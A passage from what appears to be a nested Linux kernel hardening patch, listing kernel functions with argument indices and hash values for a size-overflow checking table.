++_000053_hash ath6kl_add_bss_if_needed 6 24317 _000053_hash NULL
++_000054_hash ath6kl_debug_roam_tbl_event 3 5224 _000054_hash NULL
++_000055_hash ath6kl_mgmt_powersave_ap 6 13791 _000055_hash NULL
++_000056_hash ath6kl_send_go_probe_resp 3 21113 _000056_hash NULL
++_000057_hash ath6kl_set_ap_probe_resp_ies 3 50539 _000057_hash NULL
++_000058_hash ath6kl_set_assoc_req_ies 3 43185 _000058_hash NULL
++_000059_hash ath6kl_wmi_bssinfo_event_rx 3 2275 _000059_hash NULL
++_000060_hash ath6kl_wmi_send_action_cmd 7 58860 _000060_hash NULL
++_000061_hash __ath6kl_wmi_send_mgmt_cmd 7 38971 _000061_hash NULL
++_000062_hash attach_hdlc_protocol 3 19986 _000062_hash NULL
++_000063_hash audio_write 4 54261 _001597_hash NULL nohasharray
++_000064_hash audit_unpack_string 3 13748 _000064_hash NULL
++_000065_hash av7110_vbi_write 3 34384 _000065_hash NULL
++_000066_hash ax25_setsockopt 5 42740 _000066_hash NULL
++_000067_hash b43_debugfs_write 3 34838 _000067_hash NULL
++_000068_hash b43legacy_debugfs_write 3 28556 _000068_hash NULL
++_000069_hash bch_alloc 1 4593 _000069_hash NULL
++_000070_hash befs_nls2utf 3 17163 _000070_hash NULL
++_000071_hash befs_utf2nls 3 25628 _000071_hash NULL
++_000072_hash bfad_debugfs_write_regrd 3 15218 _000072_hash NULL
++_000073_hash bfad_debugfs_write_regwr 3 61841 _000073_hash NULL
++_000074_hash bio_alloc_map_data 1-2 50782 _000074_hash NULL
++_000076_hash bio_kmalloc 2 54672 _000076_hash NULL
++_000077_hash blkcipher_copy_iv 3 24075 _000077_hash NULL
++_000078_hash blkcipher_next_slow 4-3 52733 _000078_hash NULL
++_000079_hash bl_pipe_downcall 3 34264 _000079_hash NULL
++_000080_hash bnad_debugfs_write_regrd 3 6706 _000080_hash NULL
++_000081_hash bnad_debugfs_write_regwr 3 57500 _000081_hash NULL
++_000082_hash bnx2fc_cmd_mgr_alloc 2-3 24873 _000082_hash NULL
++_000084_hash bnx2_nvram_write 4-2 7790 _000084_hash NULL
++_000085_hash brcmf_sdbrcm_downloadvars 3 42064 _000085_hash NULL
++_000086_hash btmrvl_gpiogap_write 3 35053 _000086_hash NULL
++_000087_hash btmrvl_hscfgcmd_write 3 27143 _000087_hash NULL
++_000088_hash btmrvl_hscmd_write 3 27089 _000088_hash NULL
++_000089_hash btmrvl_hsmode_write 3 42252 _000089_hash NULL
++_000090_hash btmrvl_pscmd_write 3 29504 _000090_hash NULL
++_000091_hash btmrvl_psmode_write 3 3703 _000091_hash NULL
++_000092_hash btrfs_alloc_delayed_item 1 11678 _000092_hash NULL
++_000093_hash cache_do_downcall 3 6926 _000093_hash NULL
++_000094_hash cachefiles_cook_key 2 33274 _000094_hash NULL
++_000095_hash cachefiles_daemon_write 3 43535 _000095_hash NULL
++_000096_hash capi_write 3 35104 _000096_hash NULL
++_000097_hash carl9170_debugfs_write 3 50857 _000097_hash NULL
++_000098_hash cciss_allocate_sg_chain_blocks 2-3 5368 _000098_hash NULL
++_000100_hash cciss_proc_write 3 10259 _000100_hash NULL
++_000101_hash cdrom_read_cdda_old 4 27664 _000101_hash NULL
++_000102_hash ceph_alloc_page_vector 1 18710 _000102_hash NULL
++_000103_hash ceph_buffer_new 1 35974 _000103_hash NULL
++_000104_hash ceph_copy_user_to_page_vector 4-3 656 _000104_hash NULL
++_000105_hash ceph_get_direct_page_vector 2 41917 _000105_hash NULL
++_000106_hash ceph_msg_new 2 5846 _000106_hash NULL
++_000107_hash ceph_setxattr 4 18913 _000107_hash NULL
++_000108_hash cfi_read_pri 3 24366 _000108_hash NULL
++_000109_hash cgroup_write_string 5 10900 _000109_hash NULL
++_000110_hash cgroup_write_X64 5 54514 _000110_hash NULL
++_000111_hash change_xattr 5 61390 _000111_hash NULL
++_000112_hash check_load_and_stores 2 2143 _000112_hash NULL
++_000113_hash cifs_idmap_key_instantiate 3 54503 _000113_hash NULL
++_000114_hash cifs_security_flags_proc_write 3 5484 _000114_hash NULL
++_000115_hash cifs_setxattr 4 23957 _000115_hash NULL
++_000116_hash cifs_spnego_key_instantiate 3 23588 _000116_hash NULL
++_000117_hash ci_ll_write 4 3740 _000117_hash NULL
++_000118_hash cld_pipe_downcall 3 15058 _000118_hash NULL
++_000119_hash clear_refs_write 3 61904 _000119_hash NULL
++_000120_hash clusterip_proc_write 3 44729 _000120_hash NULL
++_000121_hash cm4040_write 3 58079 _000121_hash NULL
++_000122_hash cm_copy_private_data 2 3649 _000122_hash NULL
++_000123_hash cmm_write 3 2896 _000123_hash NULL
++_000124_hash cm_write 3 36858 _000124_hash NULL
++_000125_hash coda_psdev_write 3 1711 _000125_hash NULL
++_000126_hash codec_reg_read_file 3 36280 _000126_hash NULL
++_000127_hash command_file_write 3 31318 _000127_hash NULL
++_000128_hash command_write 3 58841 _000128_hash NULL
++_000129_hash comm_write 3 44537 _001532_hash NULL nohasharray
++_000130_hash concat_writev 3 21451 _000130_hash NULL
++_000131_hash copy_and_check 3 19089 _000131_hash NULL
++_000132_hash copy_from_user_toio 3 31966 _000132_hash NULL
++_000133_hash copy_items 6 50140 _000133_hash NULL
++_000134_hash copy_macs 4 45534 _000134_hash NULL
++_000135_hash __copy_to_user 3 17551 _000135_hash NULL
++_000136_hash copy_vm86_regs_from_user 3 45340 _000136_hash NULL
++_000137_hash cosa_write 3 1774 _000137_hash NULL
++_000138_hash create_entry 2 33479 _000138_hash NULL
++_000139_hash create_queues 2-3 9088 _000139_hash NULL
++_000141_hash create_xattr 5 54106 _000141_hash NULL
++_000142_hash create_xattr_datum 5 33356 _000142_hash NULL
++_000143_hash csum_partial_copy_fromiovecend 3-4 9957 _000143_hash NULL
++_000145_hash ctrl_out 3-5 8712 _000145_hash NULL
++_000147_hash cx24116_writeregN 4 41975 _000147_hash NULL
++_000148_hash cxacru_cm_get_array 4 4412 _000148_hash NULL
++_000149_hash cxgbi_alloc_big_mem 1 4707 _000149_hash NULL
++_000150_hash dac960_user_command_proc_write 3 3071 _000150_hash NULL
++_000151_hash datablob_format 2 39571 _002156_hash NULL nohasharray
++_000152_hash dccp_feat_clone_sp_val 3 11942 _000152_hash NULL
++_000153_hash dccp_setsockopt_ccid 4 30701 _000153_hash NULL
++_000154_hash dccp_setsockopt_cscov 2 37766 _000154_hash NULL
++_000155_hash dccp_setsockopt_service 4 65336 _000155_hash NULL
++_000156_hash ddb_output_write 3 31902 _000156_hash NULL
++_000157_hash ddebug_proc_write 3 18055 _000157_hash NULL
++_000158_hash dev_config 3 8506 _000158_hash NULL
++_000159_hash device_write 3 45156 _000159_hash NULL
++_000160_hash devm_kzalloc 2 4966 _000160_hash NULL
++_000161_hash devres_alloc 2 551 _000161_hash NULL
++_000162_hash dfs_file_write 3 41196 _000162_hash NULL
++_000163_hash direct_entry 3 38836 _000163_hash NULL
++_000164_hash dispatch_proc_write 3 44320 _000164_hash NULL
++_000165_hash diva_os_copy_from_user 4 7792 _000165_hash NULL
++_000166_hash dlm_alloc_pagevec 1 54296 _000166_hash NULL
++_000167_hash dlmfs_file_read 3 28385 _000167_hash NULL
++_000168_hash dlmfs_file_write 3 6892 _000168_hash NULL
++_000169_hash dm_read 3 15674 _000169_hash NULL
++_000170_hash dm_write 3 2513 _000170_hash NULL
++_000171_hash __dn_setsockopt 5 13060 _000171_hash NULL
++_000172_hash dns_query 3 9676 _000172_hash NULL
++_000173_hash dns_resolver_instantiate 3 63314 _000173_hash NULL
++_000174_hash do_add_counters 3 3992 _000174_hash NULL
++_000175_hash __do_config_autodelink 3 58763 _000175_hash NULL
++_000176_hash do_ip_setsockopt 5 41852 _000176_hash NULL
++_000177_hash do_ipv6_setsockopt 5 18215 _000177_hash NULL
++_000178_hash do_ip_vs_set_ctl 4 48641 _000178_hash NULL
++_000179_hash do_kimage_alloc 3 64827 _000179_hash NULL
++_000180_hash do_register_entry 4 29478 _000180_hash NULL
++_000181_hash do_tty_write 5 44896 _000181_hash NULL
++_000182_hash do_update_counters 4 2259 _000182_hash NULL
++_000183_hash dsp_write 2 46218 _000183_hash NULL
++_000184_hash dup_to_netobj 3 26363 _000184_hash NULL
++_000185_hash dvb_aplay 3 56296 _000185_hash NULL
++_000186_hash dvb_ca_en50221_io_write 3 43533 _000186_hash NULL
++_000187_hash dvbdmx_write 3 19423 _000187_hash NULL
++_000188_hash dvb_play 3 50814 _000188_hash NULL
++_000189_hash dw210x_op_rw 6 39915 _000189_hash NULL
++_000190_hash dwc3_link_state_write 3 12641 _000190_hash NULL
++_000191_hash dwc3_mode_write 3 51997 _000191_hash NULL
++_000192_hash dwc3_testmode_write 3 30516 _000192_hash NULL
++_000193_hash ecryptfs_copy_filename 4 11868 _000193_hash NULL
++_000194_hash ecryptfs_miscdev_write 3 26847 _000194_hash NULL
++_000195_hash ecryptfs_send_miscdev 2 64816 _000195_hash NULL
++_000196_hash efx_tsoh_heap_alloc 2 58545 _000196_hash NULL
++_000197_hash emi26_writememory 4 57908 _000197_hash NULL
++_000198_hash emi62_writememory 4 29731 _000198_hash NULL
++_000199_hash encrypted_instantiate 3 3168 _000199_hash NULL
++_000200_hash encrypted_update 3 13414 _000200_hash NULL
++_000201_hash ep0_write 3 14536 _001328_hash NULL nohasharray
++_000202_hash ep_read 3 58813 _000202_hash NULL
++_000203_hash ep_write 3 59008 _000203_hash NULL
++_000204_hash erst_dbg_write 3 46715 _000204_hash NULL
++_000205_hash esp_alloc_tmp 2-3 40558 _000205_hash NULL
++_000206_hash exofs_read_lookup_dev_table 3 17733 _000206_hash NULL
++_000207_hash ext4_kvmalloc 1 14796 _000207_hash NULL
++_000208_hash ezusb_writememory 4 45976 _000208_hash NULL
++_000209_hash fanotify_write 3 64623 _000209_hash NULL
++_000210_hash fd_copyin 3 56247 _000210_hash NULL
++_000211_hash ffs_epfile_io 3 64886 _000211_hash NULL
++_000212_hash ffs_prepare_buffer 2 59892 _000212_hash NULL
++_000213_hash f_hidg_write 3 7932 _000213_hash NULL
++_000214_hash file_read_actor 4 1401 _000214_hash NULL
++_000215_hash fill_write_buffer 3 3142 _000215_hash NULL
++_000216_hash fl_create 5 56435 _000216_hash NULL
++_000217_hash ftdi_elan_write 3 57309 _000217_hash NULL
++_000218_hash fuse_conn_limit_write 3 30777 _003837_hash NULL nohasharray
++_000219_hash fw_iso_buffer_init 3 54582 _000219_hash NULL
++_000220_hash garmin_write_bulk 3 58191 _000220_hash NULL
++_000221_hash garp_attr_create 3 3883 _000221_hash NULL
++_000222_hash get_arg 3 5694 _000222_hash NULL
++_000223_hash getdqbuf 1 62908 _000223_hash NULL
++_000224_hash get_fdb_entries 3 41916 _000224_hash NULL
++_000225_hash get_indirect_ea 4 51869 _000225_hash NULL
++_000226_hash get_registers 3 26187 _000226_hash NULL
++_000227_hash get_scq 2 10897 _000227_hash NULL
++_000228_hash get_server_iovec 2 16804 _000228_hash NULL
++_000229_hash get_ucode_user 3 38202 _000229_hash NULL
++_000230_hash get_user_cpu_mask 2 14861 _000230_hash NULL
++_000231_hash gfs2_alloc_sort_buffer 1 18275 _000231_hash NULL
++_000232_hash gfs2_glock_nq_m 1 20347 _000232_hash NULL
++_000233_hash gigaset_initcs 2 43753 _000233_hash NULL
++_000234_hash gigaset_initdriver 2 1060 _000234_hash NULL
++_000235_hash gs_alloc_req 2 58883 _000235_hash NULL
++_000236_hash gs_buf_alloc 2 25067 _000236_hash NULL
++_000237_hash gsm_data_alloc 3 42437 _000237_hash NULL
++_000238_hash gss_pipe_downcall 3 23182 _000238_hash NULL
++_000239_hash handle_request 9 10024 _000239_hash NULL
++_000240_hash hash_new 1 62224 _000240_hash NULL
++_000241_hash hashtab_create 3 33769 _000241_hash NULL
++_000242_hash hcd_buffer_alloc 2 27495 _000242_hash NULL
++_000243_hash hci_sock_setsockopt 5 28993 _000243_hash NULL
++_000244_hash heap_init 2 49617 _000244_hash NULL
++_000245_hash hest_ghes_dev_register 1 46766 _000245_hash NULL
++_000246_hash hidraw_get_report 3 45609 _000246_hash NULL
++_000247_hash hidraw_report_event 3 49578 _000509_hash NULL nohasharray
++_000248_hash hidraw_send_report 3 23449 _000248_hash NULL
++_000249_hash hpfs_translate_name 3 41497 _000249_hash NULL
++_000250_hash hysdn_conf_write 3 52145 _000250_hash NULL
++_000251_hash hysdn_log_write 3 48694 _000251_hash NULL
++_000252_hash __i2400mu_send_barker 3 23652 _000252_hash NULL
++_000253_hash i2cdev_read 3 1206 _000253_hash NULL
++_000254_hash i2cdev_write 3 23310 _000254_hash NULL
++_000255_hash i2o_parm_field_get 5 34477 _000255_hash NULL
++_000256_hash i2o_parm_table_get 6 61635 _000256_hash NULL
++_000257_hash ib_copy_from_udata 3 59502 _000257_hash NULL
++_000258_hash ib_ucm_alloc_data 3 36885 _000258_hash NULL
++_000259_hash ib_umad_write 3 47993 _000259_hash NULL
++_000260_hash ib_uverbs_unmarshall_recv 5 12251 _000260_hash NULL
++_000261_hash icn_writecmd 2 38629 _000261_hash NULL
++_000262_hash ide_driver_proc_write 3 32493 _000262_hash NULL
++_000263_hash ide_settings_proc_write 3 35110 _000263_hash NULL
++_000264_hash idetape_chrdev_write 3 53976 _000264_hash NULL
++_000265_hash idmap_pipe_downcall 3 14591 _000265_hash NULL
++_000266_hash ieee80211_build_probe_req 7-5 27660 _000266_hash NULL
++_000267_hash ieee80211_if_write 3 34894 _000267_hash NULL
++_000268_hash if_write 3 51756 _000268_hash NULL
++_000269_hash ilo_write 3 64378 _000269_hash NULL
++_000270_hash ima_write_policy 3 40548 _000270_hash NULL
++_000271_hash init_data_container 1 60709 _000271_hash NULL
++_000272_hash init_send_hfcd 1 34586 _000272_hash NULL
++_000273_hash insert_dent 7 65034 _000273_hash NULL
++_000274_hash interpret_user_input 2 19393 _000274_hash NULL
++_000275_hash int_proc_write 3 39542 _000275_hash NULL
++_000276_hash ioctl_private_iw_point 7 1273 _000276_hash NULL
++_000277_hash iov_iter_copy_from_user 4 31942 _000277_hash NULL
++_000278_hash iov_iter_copy_from_user_atomic 4 56368 _000278_hash NULL
++_000279_hash iowarrior_write 3 18604 _000279_hash NULL
++_000280_hash ipc_alloc 1 1192 _000280_hash NULL
++_000281_hash ipc_rcu_alloc 1 21208 _000281_hash NULL
++_000282_hash ip_options_get_from_user 4 64958 _000282_hash NULL
++_000283_hash ipv6_renew_option 3 38813 _000283_hash NULL
++_000284_hash ip_vs_conn_fill_param_sync 6 29771 _002404_hash NULL nohasharray
++_000285_hash ip_vs_create_timeout_table 2 64478 _000285_hash NULL
++_000286_hash ipw_queue_tx_init 3 49161 _000286_hash NULL
++_000287_hash irda_setsockopt 5 19824 _000287_hash NULL
++_000288_hash irias_new_octseq_value 2 13596 _003296_hash NULL nohasharray
++_000289_hash ir_lirc_transmit_ir 3 64403 _000289_hash NULL
++_000290_hash irnet_ctrl_write 3 24139 _000290_hash NULL
++_000291_hash isdn_add_channels 3 40905 _000291_hash NULL
++_000292_hash isdn_ppp_fill_rq 2 41428 _000292_hash NULL
++_000293_hash isdn_ppp_write 4 29109 _000293_hash NULL
++_000294_hash isdn_read 3 50021 _000294_hash NULL
++_000295_hash isdn_v110_open 3 2418 _000295_hash NULL
++_000296_hash isdn_writebuf_stub 4 52383 _000296_hash NULL
++_000297_hash islpci_mgt_transmit 5 34133 _000297_hash NULL
++_000298_hash iso_callback 3 43208 _000298_hash NULL
++_000299_hash iso_packets_buffer_init 3-4 29061 _000299_hash NULL
++_000300_hash it821x_firmware_command 3 8628 _000300_hash NULL
++_000301_hash ivtv_buf_copy_from_user 4 25502 _000301_hash NULL
++_000302_hash iwch_alloc_fastreg_pbl 2 40153 _000302_hash NULL
++_000303_hash iwl_calib_set 3 34400 _002188_hash NULL nohasharray
++_000304_hash jbd2_journal_init_revoke_table 1 36336 _000304_hash NULL
++_000305_hash jffs2_alloc_full_dirent 1 60179 _001111_hash NULL nohasharray
++_000306_hash journal_init_revoke_table 1 56331 _000306_hash NULL
++_000307_hash kcalloc 1-2 27770 _000307_hash NULL
++_000309_hash keyctl_instantiate_key_common 4 47889 _000309_hash NULL
++_000310_hash keyctl_update_key 3 26061 _000310_hash NULL
++_000311_hash __kfifo_alloc 2-3 22173 _000311_hash NULL
++_000313_hash kfifo_copy_from_user 3 5091 _000313_hash NULL
++_000314_hash kmalloc_node 1 50163 _003293_hash NULL nohasharray
++_000315_hash kmalloc_parameter 1 65279 _000315_hash NULL
++_000316_hash kmem_alloc 1 31920 _000316_hash NULL
++_000317_hash kobj_map 2-3 9566 _000317_hash NULL
++_000319_hash kone_receive 4 4690 _000319_hash NULL
++_000320_hash kone_send 4 63435 _000320_hash NULL
++_000321_hash krealloc 2 14908 _000321_hash NULL
++_000322_hash kvmalloc 1 32646 _000322_hash NULL
++_000323_hash kvm_read_guest_atomic 4 10765 _000323_hash NULL
++_000324_hash kvm_read_guest_cached 4 39666 _000324_hash NULL
++_000325_hash kvm_read_guest_page 5 18074 _000325_hash NULL
++_000326_hash kzalloc 1 54740 _000326_hash NULL
++_000327_hash l2cap_sock_setsockopt 5 50207 _000327_hash NULL
++_000328_hash l2cap_sock_setsockopt_old 4 29346 _000328_hash NULL
++_000329_hash lane2_associate_req 4 45398 _000329_hash NULL
++_000330_hash lbs_debugfs_write 3 48413 _000330_hash NULL
++_000331_hash lcd_write 3 14857 _000331_hash &_000014_hash
++_000332_hash ldm_frag_add 2 5611 _000332_hash NULL
++_000333_hash __lgread 4 31668 _000333_hash NULL
++_000334_hash libipw_alloc_txb 1-3-2 27579 _000334_hash NULL
++_000335_hash link_send_sections_long 4 46556 _000335_hash NULL
++_000336_hash listxattr 3 12769 _000336_hash NULL
++_000337_hash LoadBitmap 2 19658 _000337_hash NULL
++_000338_hash load_msg 2 95 _000338_hash NULL
++_000339_hash lpfc_debugfs_dif_err_write 3 17424 _000339_hash NULL
++_000340_hash lp_write 3 9511 _000340_hash NULL
++_000341_hash mb_cache_create 2 17307 _000341_hash NULL
++_000342_hash mce_write 3 26201 _000342_hash NULL
++_000343_hash mcs7830_get_reg 3 33308 _000343_hash NULL
++_000344_hash mcs7830_set_reg 3 31413 _000344_hash NULL
++_000345_hash memcpy_fromiovec 3 55247 _000345_hash NULL
++_000346_hash memcpy_fromiovecend 3-4 2707 _000346_hash NULL
++_000348_hash mempool_kmalloc 2 53831 _000348_hash NULL
++_000349_hash mempool_resize 2 47983 _001821_hash NULL nohasharray
++_000350_hash mem_rw 3 22085 _000350_hash NULL
++_000351_hash mgmt_control 3 7349 _000351_hash NULL
++_000352_hash mgmt_pending_add 5 46976 _000352_hash NULL
++_000353_hash mlx4_ib_alloc_fast_reg_page_list 2 46119 _000353_hash NULL
++_000354_hash mmc_alloc_sg 1 21504 _000354_hash NULL
++_000355_hash mmc_send_bus_test 4 18285 _000355_hash NULL
++_000356_hash mmc_send_cxd_data 5 38655 _000356_hash NULL
++_000357_hash module_alloc_update_bounds 1 47205 _000357_hash NULL
++_000358_hash move_addr_to_kernel 2 32673 _000358_hash NULL
++_000359_hash mpi_alloc_limb_space 1 23190 _000359_hash NULL
++_000360_hash mpi_resize 2 44674 _000360_hash NULL
++_000361_hash mptctl_getiocinfo 2 28545 _000361_hash NULL
++_000362_hash mtdchar_readoob 4 31200 _000362_hash NULL
++_000363_hash mtdchar_write 3 56831 _002688_hash NULL nohasharray
++_000364_hash mtdchar_writeoob 4 3393 _000364_hash NULL
++_000365_hash mtd_device_parse_register 5 5024 _000365_hash NULL
++_000366_hash mtf_test_write 3 18844 _000366_hash NULL
++_000367_hash mtrr_write 3 59622 _000367_hash NULL
++_000368_hash musb_test_mode_write 3 33518 _000368_hash NULL
++_000369_hash mwifiex_get_common_rates 3 17131 _000369_hash NULL
++_000370_hash mwifiex_update_curr_bss_params 5 16908 _000370_hash NULL
++_000371_hash nand_bch_init 2-3 16280 _001341_hash NULL nohasharray
++_000373_hash ncp_file_write 3 3813 _000373_hash NULL
++_000374_hash ncp__vol2io 5 4804 _000374_hash NULL
++_000375_hash nes_alloc_fast_reg_page_list 2 33523 _000375_hash NULL
++_000376_hash nfc_targets_found 3 29886 _000376_hash NULL
++_000377_hash nfs4_acl_new 1 49806 _000377_hash NULL
++_000378_hash nfs4_write_cached_acl 4 15070 _000378_hash NULL
++_000379_hash nfsd_cache_update 3 59574 _000379_hash NULL
++_000380_hash nfsd_symlink 6 63442 _000380_hash NULL
++_000381_hash nfs_idmap_get_desc 2-4 42990 _000381_hash NULL
++_000383_hash nfs_readdir_make_qstr 3 12509 _000383_hash NULL
++_000384_hash note_last_dentry 3 12285 _000384_hash NULL
++_000385_hash ntfs_copy_from_user 3-5 15072 _000385_hash NULL
++_000387_hash __ntfs_copy_from_user_iovec_inatomic 3-4 38153 _000387_hash NULL
++_000389_hash ntfs_ucstonls 3-5 23097 _000389_hash NULL
++_000390_hash nvme_alloc_iod 1 56027 _000390_hash NULL
++_000391_hash nvram_write 3 3894 _000391_hash NULL
++_000392_hash o2hb_debug_create 4 18744 _000392_hash NULL
++_000393_hash o2net_send_message_vec 4 879 _001792_hash NULL nohasharray
++_000394_hash ocfs2_control_cfu 2 37750 _000394_hash NULL
++_000395_hash oom_adjust_write 3 41116 _000395_hash NULL
++_000396_hash oom_score_adj_write 3 42594 _000396_hash NULL
++_000397_hash opera1_xilinx_rw 5 31453 _000397_hash NULL
++_000398_hash oprofilefs_ulong_from_user 3 57251 _000398_hash NULL
++_000399_hash opticon_write 4 60775 _000399_hash NULL
++_000400_hash orig_node_add_if 2 32833 _000400_hash NULL
++_000401_hash orig_node_del_if 2 28371 _000401_hash NULL
++_000402_hash p9_check_zc_errors 4 15534 _000402_hash NULL
++_000403_hash packet_buffer_init 2 1607 _000403_hash NULL
++_000404_hash packet_setsockopt 5 17662 _000404_hash NULL
++_000405_hash parse_command 2 37079 _000405_hash NULL
++_000406_hash pcbit_writecmd 2 12332 _000406_hash NULL
++_000407_hash pcmcia_replace_cis 3 57066 _000407_hash NULL
++_000408_hash pgctrl_write 3 50453 _000408_hash NULL
++_000409_hash pg_write 3 40766 _000409_hash NULL
++_000410_hash pidlist_allocate 1 64404 _000410_hash NULL
++_000411_hash pipe_iov_copy_from_user 3 23102 _000411_hash NULL
++_000412_hash pipe_iov_copy_to_user 3 3447 _000412_hash NULL
++_000413_hash pkt_add 3 39897 _000413_hash NULL
++_000414_hash pktgen_if_write 3 55628 _000414_hash NULL
++_000415_hash platform_device_add_data 3 310 _000415_hash NULL
++_000416_hash platform_device_add_resources 3 13289 _000416_hash NULL
++_000417_hash pm_qos_power_write 3 52513 _000417_hash NULL
++_000418_hash pnpbios_proc_write 3 19758 _000418_hash NULL
++_000419_hash pool_allocate 3 42012 _000419_hash NULL
++_000420_hash posix_acl_alloc 1 48063 _000420_hash NULL
++_000421_hash ppp_cp_parse_cr 4 5214 _000421_hash NULL
++_000422_hash ppp_write 3 34034 _000422_hash NULL
++_000423_hash pp_read 3 33210 _000423_hash NULL
++_000424_hash pp_write 3 39554 _000424_hash NULL
++_000425_hash printer_req_alloc 2 62687 _001807_hash NULL nohasharray
++_000426_hash printer_write 3 60276 _000426_hash NULL
++_000427_hash prism2_set_genericelement 3 29277 _000427_hash NULL
++_000428_hash __probe_kernel_read 3 61119 _000428_hash NULL
++_000429_hash __probe_kernel_write 3 29842 _000429_hash NULL
++_000430_hash proc_coredump_filter_write 3 25625 _000430_hash NULL
++_000431_hash _proc_do_string 2 6376 _000431_hash NULL
++_000432_hash process_vm_rw_pages 5-6 15954 _000432_hash NULL
++_000434_hash proc_loginuid_write 3 63648 _000434_hash NULL
++_000435_hash proc_pid_attr_write 3 63845 _000435_hash NULL
++_000436_hash proc_scsi_devinfo_write 3 32064 _000436_hash NULL
++_000437_hash proc_scsi_write 3 29142 _000437_hash NULL
++_000438_hash proc_scsi_write_proc 3 267 _000438_hash NULL
++_000439_hash pstore_mkfile 5 50830 _000439_hash NULL
++_000440_hash pti_char_write 3 60960 _000440_hash NULL
++_000441_hash ptrace_writedata 4 45021 _000441_hash NULL
++_000442_hash pt_write 3 40159 _000442_hash NULL
++_000443_hash pvr2_ioread_set_sync_key 3 59882 _000443_hash NULL
++_000444_hash pvr2_stream_buffer_count 2 33719 _000444_hash NULL
++_000445_hash qdisc_class_hash_alloc 1 18262 _000445_hash NULL
++_000446_hash r3964_write 4 57662 _000446_hash NULL
++_000447_hash raw_seticmpfilter 3 6888 _000447_hash NULL
++_000448_hash raw_setsockopt 5 45800 _000448_hash NULL
++_000449_hash rawv6_seticmpfilter 5 12137 _000449_hash NULL
++_000450_hash ray_cs_essid_proc_write 3 17875 _000450_hash NULL
++_000451_hash rbd_add 3 16366 _000451_hash NULL
++_000452_hash rbd_snap_add 4 19678 _000452_hash NULL
++_000453_hash rdma_set_ib_paths 3 45592 _000453_hash NULL
++_000454_hash rds_page_copy_user 4 35691 _000454_hash NULL
++_000455_hash read 3 9397 _000455_hash NULL
++_000456_hash read_buf 2 20469 _000456_hash NULL
++_000457_hash read_cis_cache 4 29735 _000457_hash NULL
++_000458_hash realloc_buffer 2 25816 _000458_hash NULL
++_000459_hash realloc_packet_buffer 2 25569 _000459_hash NULL
++_000460_hash receive_DataRequest 3 9904 _000460_hash NULL
++_000461_hash recent_mt_proc_write 3 8206 _000461_hash NULL
++_000462_hash regmap_access_read_file 3 37223 _000462_hash NULL
++_000463_hash regmap_bulk_write 4 59049 _000463_hash NULL
++_000464_hash regmap_map_read_file 3 37685 _000464_hash NULL
++_000465_hash regset_tls_set 4 18459 _000465_hash NULL
++_000466_hash reg_w_buf 3 27724 _000466_hash NULL
++_000467_hash reg_w_ixbuf 4 34736 _000467_hash NULL
++_000468_hash remote_settings_file_write 3 22987 _000468_hash NULL
++_000469_hash request_key_auth_new 3 38092 _000469_hash NULL
++_000470_hash restore_i387_fxsave 2 17528 _000470_hash NULL
++_000471_hash revalidate 2 19043 _000471_hash NULL
++_000472_hash rfcomm_sock_setsockopt 5 18254 _000472_hash NULL
++_000473_hash rndis_add_response 2 58544 _000473_hash NULL
++_000474_hash rndis_set_oid 4 6547 _000474_hash NULL
++_000475_hash rngapi_reset 3 34366 _002911_hash NULL nohasharray
++_000476_hash roccat_common_receive 4 53407 _000476_hash NULL
++_000477_hash roccat_common_send 4 12284 _000477_hash NULL
++_000478_hash rpc_malloc 2 43573 _000478_hash NULL
++_000479_hash rt2x00debug_write_bbp 3 8212 _000479_hash NULL
++_000480_hash rt2x00debug_write_csr 3 64753 _000480_hash NULL
++_000481_hash rt2x00debug_write_eeprom 3 23091 _000481_hash NULL
++_000482_hash rt2x00debug_write_rf 3 38195 _000482_hash NULL
++_000483_hash rts51x_read_mem 4 26577 _000483_hash NULL
++_000484_hash rts51x_read_status 4 11830 _000484_hash NULL
++_000485_hash rts51x_write_mem 4 17598 _000485_hash NULL
++_000486_hash rw_copy_check_uvector 3 34271 _000486_hash NULL
++_000487_hash rxrpc_request_key 3 27235 _000487_hash NULL
++_000488_hash rxrpc_server_keyring 3 16431 _000488_hash NULL
++_000489_hash savemem 3 58129 _000489_hash NULL
++_000490_hash sb16_copy_from_user 10-7-6 55836 _000490_hash NULL
++_000493_hash sched_autogroup_write 3 10984 _000493_hash NULL
++_000494_hash scsi_mode_select 6 37330 _000494_hash NULL
++_000495_hash scsi_tgt_copy_sense 3 26933 _000495_hash NULL
++_000496_hash sctp_auth_create_key 1 51641 _000496_hash NULL
++_000497_hash sctp_getsockopt_delayed_ack 2 9232 _000497_hash NULL
++_000498_hash sctp_getsockopt_local_addrs 2 25178 _000498_hash NULL
++_000499_hash sctp_make_abort_user 3 29654 _000499_hash NULL
++_000500_hash sctp_setsockopt_active_key 3 43755 _000500_hash NULL
++_000501_hash sctp_setsockopt_adaptation_layer 3 26935 _001925_hash NULL nohasharray
++_000502_hash sctp_setsockopt_associnfo 3 51684 _000502_hash NULL
++_000503_hash sctp_setsockopt_auth_chunk 3 30843 _000503_hash NULL
++_000504_hash sctp_setsockopt_auth_key 3 3793 _000504_hash NULL
++_000505_hash sctp_setsockopt_autoclose 3 5775 _000505_hash NULL
++_000506_hash sctp_setsockopt_bindx 3 49870 _000506_hash NULL
++_000507_hash __sctp_setsockopt_connectx 3 46949 _000507_hash NULL
++_000508_hash sctp_setsockopt_context 3 31091 _000508_hash NULL
++_000509_hash sctp_setsockopt_default_send_param 3 49578 _000509_hash &_000247_hash
++_000510_hash sctp_setsockopt_delayed_ack 3 40129 _000510_hash NULL
++_000511_hash sctp_setsockopt_del_key 3 42304 _002281_hash NULL nohasharray
++_000512_hash sctp_setsockopt_events 3 18862 _000512_hash NULL
++_000513_hash sctp_setsockopt_hmac_ident 3 11687 _000513_hash NULL
++_000514_hash sctp_setsockopt_initmsg 3 1383 _000514_hash NULL
++_000515_hash sctp_setsockopt_maxburst 3 28041 _000515_hash NULL
++_000516_hash sctp_setsockopt_maxseg 3 11829 _000516_hash NULL
++_000517_hash sctp_setsockopt_peer_addr_params 3 734 _000517_hash NULL
++_000518_hash sctp_setsockopt_peer_primary_addr 3 13440 _000518_hash NULL
++_000519_hash sctp_setsockopt_rtoinfo 3 30941 _000519_hash NULL
++_000520_hash security_context_to_sid_core 2 29248 _000520_hash NULL
++_000521_hash sel_commit_bools_write 3 46077 _000521_hash NULL
++_000522_hash sel_write_avc_cache_threshold 3 2256 _000522_hash NULL
++_000523_hash sel_write_bool 3 46996 _000523_hash NULL
++_000524_hash sel_write_checkreqprot 3 60774 _000524_hash NULL
++_000525_hash sel_write_disable 3 10511 _000525_hash NULL
++_000526_hash sel_write_enforce 3 48998 _000526_hash NULL
++_000527_hash sel_write_load 3 63830 _000527_hash NULL
